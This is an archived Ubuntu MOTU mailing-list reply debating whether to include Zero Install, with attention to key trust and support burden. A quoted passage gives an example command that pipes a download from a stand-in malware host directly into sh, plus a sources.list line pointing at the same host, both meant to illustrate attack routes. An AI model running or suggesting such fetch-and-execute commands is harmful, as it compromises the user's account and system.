zeroinstall-injector

[Reinhard Tartler]

"Thomas Leonard" <talex5 at gmail.com> writes:

> Well, here are three possible ways to install malware:
>
> - Tell Zero Install to run http://malware.com/malware. Either ignore the
>   warning about the key being unknown, or take the risk that the key
>   isn't trust-worthy even if it's in the database.
>   Result: User account compromised.
>
> - Type:
>   $ wget malware.com/malware -O -|sh
>   Result: User account compromised.
>
> - Edit /etc/apt/sources.list and add:
>   deb http://malware.com/...
>   Result: Root compromise.
>
> As a malware author, why would you use Zero Install instead of one of the
> other methods? The second one is available to all users and at least as
> effective. Plus, your victims get no warnings about keys at all that way.
>
> Note: I copied that wget example from a real web-page for some genuine
> software (but I changed the name ;-) - people are really forced to do this
> kind of thing at the moment!

Red Carpet? Yes, I've seen something like that. Still, I wouldn't
recommend running arbitrary 3rd party shell scripts as root (or as any
user) on users machines. Perhaps in qemu for testing or something ;)

>> Where do these 'known' keys come from? Who authorizes these keys?
>
> Currently, people post them to a public mailing list and I add them.
> Here's a screenshot showing a typical dialog:
>
>   http://0install.net/trustbox.png
>
> If universe has stricter checks, we could use that keyring too for the
> hints ("This key is approved by MOTU" / "MOTU has not approved this key -
> USE AT OWN RISK!").

There is only ONE archive key. Only authorized developers can upload to
our archive. As for 3rd party repositories, we don't have adequate
support for verifying gpg keys. (something which I think could need
improvement, but anyway). This is a bit different to 0install, where it
seems that random upstream/malware authors sign their software, and the
user has to accept that key like you show in the screenshot. The dialog
however doesn't offer any support for validation of the key. Do you
perhaps require these keys are signed by an 'authorization key'? or
offer some path finding tool to find 'trust paths'? You see, validating
keys is a quite difficult problem. One reason why there is only one
archive key in ubuntu.

> Do Ubuntu users really need to be "authorised" by you to run software
> on their own computers?

No, we don't require this. However, we promise support for all software
which is signed by us. If we would include 0install, we would promise to
support the 0install installer. 

My concern here is now that users could understand the inclusion of the
0install installer would mean that all software which is installable by
0install is supported as well. Something we cannot sensibly do.

>> I fear that we'll get bugreports from 3rd party software by users, who
>> have installed random software via 0install, and that we will not be
>> able to support them.
>
> That's true. How do you deal with this problem with Firefox extensions,
> Python distutil modules, modified sources.list files and similar?

Good point. Partly we do get bugreports about them (mostly misfiled),
but in most cases, we have to answer users that we cannot support
them. I don't want to repeat this misery with 0install.

I think that if you find a developer, who promises to care for 0install,
and the ftp-masters of ubuntu don't object, we could include
0install. But as you already have read in other posts, there are some
anti-sentiments against automatix, autopackage and similar projects among
ubuntu developers. 0install seems in many ways quite similar to them and
seems to have similar problems.

-- 
Gruesse/greetings,
Reinhard Tartler, KeyID 945348A4
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 213 bytes
Desc: not available
Url : https://lists.ubuntu.com/archives/ubuntu-motu/attachments/20070110/dc794aa6/attachment.pgp